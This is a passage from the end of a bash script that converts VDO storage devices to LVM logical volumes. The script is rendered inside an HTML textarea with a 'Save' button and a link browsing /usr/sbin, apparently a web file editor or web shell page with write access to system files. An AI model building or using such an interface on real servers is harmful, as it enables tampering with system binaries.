	vdo_minimum_io_size = $vdo_logicalBlockSize
	vdo_block_map_cache_size_mb = $(( $(get_kb_size_with_unit_ &quot;$vdo_blockMapCacheSize&quot;) / 1024 ))
	vdo_block_map_period = $vdo_blockMapPeriod
	vdo_use_sparse_index = $(get_enabled_value_ &quot;$vdo_indexSparse&quot;)
	vdo_index_memory_size_mb = $(awk &quot;BEGIN {print $vdo_indexMemory * 1024}&quot;)
	vdo_slab_size_mb = $(( $(get_kb_size_with_unit_ &quot;$vdo_slabSize&quot;) / 1024 ))
	vdo_ack_threads = $vdo_ackThreads
	vdo_bio_threads = $vdo_bioThreads
	vdo_bio_rotation = $vdo_bioRotationInterval
	vdo_cpu_threads = $vdo_cpuThreads
	vdo_hash_zone_threads = $vdo_hashZoneThreads
	vdo_logical_threads = $vdo_logicalThreads
	vdo_physical_threads = $vdo_physicalThreads
	vdo_write_policy = $vdo_writePolicy
	vdo_max_discard = $(( $(get_kb_size_with_unit_ &quot;$vdo_maxDiscardSize&quot;) / 4 ))
	vdo_pool_header_size = 0
}
EOF
)
	verbose &quot;VDO conversion parameters: $VDO_ALLOCATION_PARAMS&quot;

	verbose &quot;Stopping VDO volume.&quot;
	dry &quot;$VDO&quot; stop $VDOCONF --name &quot;$VDONAME&quot; $VERB

	# If user has not provided &#039;--yes&#039;, prompt before conversion
	if [ -z &quot;$YES&quot; ] &amp;&amp; [ -z &quot;$USE_VDO_DM_SNAPSHOT&quot; ]; then
		PROMPTING=yes
		echo -n &quot;$TOOL: Convert VDO device \&quot;$DEVICE\&quot; to VDO LV \&quot;$VGNAME/$LVNAME\&quot;? [y|N]: &quot;
		read -r -n 1 -s ANSWER
		case &quot;${ANSWER:0:1}&quot; in
		  y|Y )  echo &quot;Yes&quot; ;;
		    * )  echo &quot;No&quot; ; PROMPTING=&quot;&quot;; return 1 ;;
		esac
		PROMPTING=&quot;&quot;
		YES=&quot;-y&quot; # From now, no prompting
	fi

	# Make a backup of the existing VDO yaml configuration file
	[ -e &quot;$VDO_CONFIG&quot; ] &amp;&amp; dry cp -a &quot;$VDO_CONFIG&quot; &quot;${VDO_CONFIG}.backup&quot;

	DEVICE=$FOUND
	case &quot;$DM_UUID&quot; in
		LVM-*) convert_lv_ &quot;$vdo_logicalSize&quot; ;;
		*)     convert_non_lv_ &quot;$vdo_logicalSize&quot; ;;
	esac
}

#############################
# start point of this script
# - parsing parameters
#############################
trap &quot;cleanup&quot; &quot;${SIGNALS[@]}&quot;

[ &quot;$#&quot; -eq 0 ] &amp;&amp; tool_usage

while [ &quot;$#&quot; -ne 0 ]
do
	 case &quot;$1&quot; in
	  &quot;&quot;) ;;
	  &quot;-f&quot;|&quot;--force&quot;  ) FORCE=&quot;-f&quot; ;;
	  &quot;-h&quot;|&quot;--help&quot;   ) tool_usage ;;
	  &quot;-n&quot;|&quot;--name&quot;   ) shift; NAME=$1 ;;
	  &quot;-v&quot;|&quot;--verbose&quot;) VERB=&quot;--verbose&quot; ;;
	  &quot;-y&quot;|&quot;--yes&quot;    ) YES=&quot;-y&quot; ;;
	  &quot;--abort-after-vdo-convert&quot;|&quot;--abortaftervdoconvert&quot; ) ABORT_AFTER_VDO_CONVERT=1; USE_VDO_DM_SNAPSHOT= ;; # For testing only
	  &quot;--dry-run&quot;|&quot;--dryrun&quot; ) DRY=&quot;1&quot; ; VERB=&quot;-v&quot; ;;
	  &quot;--no-snapshot&quot;|&quot;--nosnapshot&quot; ) USE_VDO_DM_SNAPSHOT= ;;
	  &quot;--uuid-prefix&quot;|&quot;--uuidprefix&quot; ) shift; DM_UUID_PREFIX=$1 ;; # For testing only
	  &quot;--vdo-config&quot;|&quot;--vdoconfig&quot; ) shift; VDO_CONFIG=$1 ; VDOCONF=&quot;-f $VDO_CONFIG&quot; ;;
	  -* ) error &quot;Wrong argument \&quot;$1\&quot;. (see: $TOOL --help)&quot; ;;
	  *) DEVICE=$1 ;;  # device name does not start with &#039;-&#039;
	esac
	shift
done

[ -n &quot;$DEVICE&quot; ] || error &quot;Device name is not specified. (see: $TOOL --help)&quot;

convert2lvm_
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fsbin'>🔙 Back</a></p>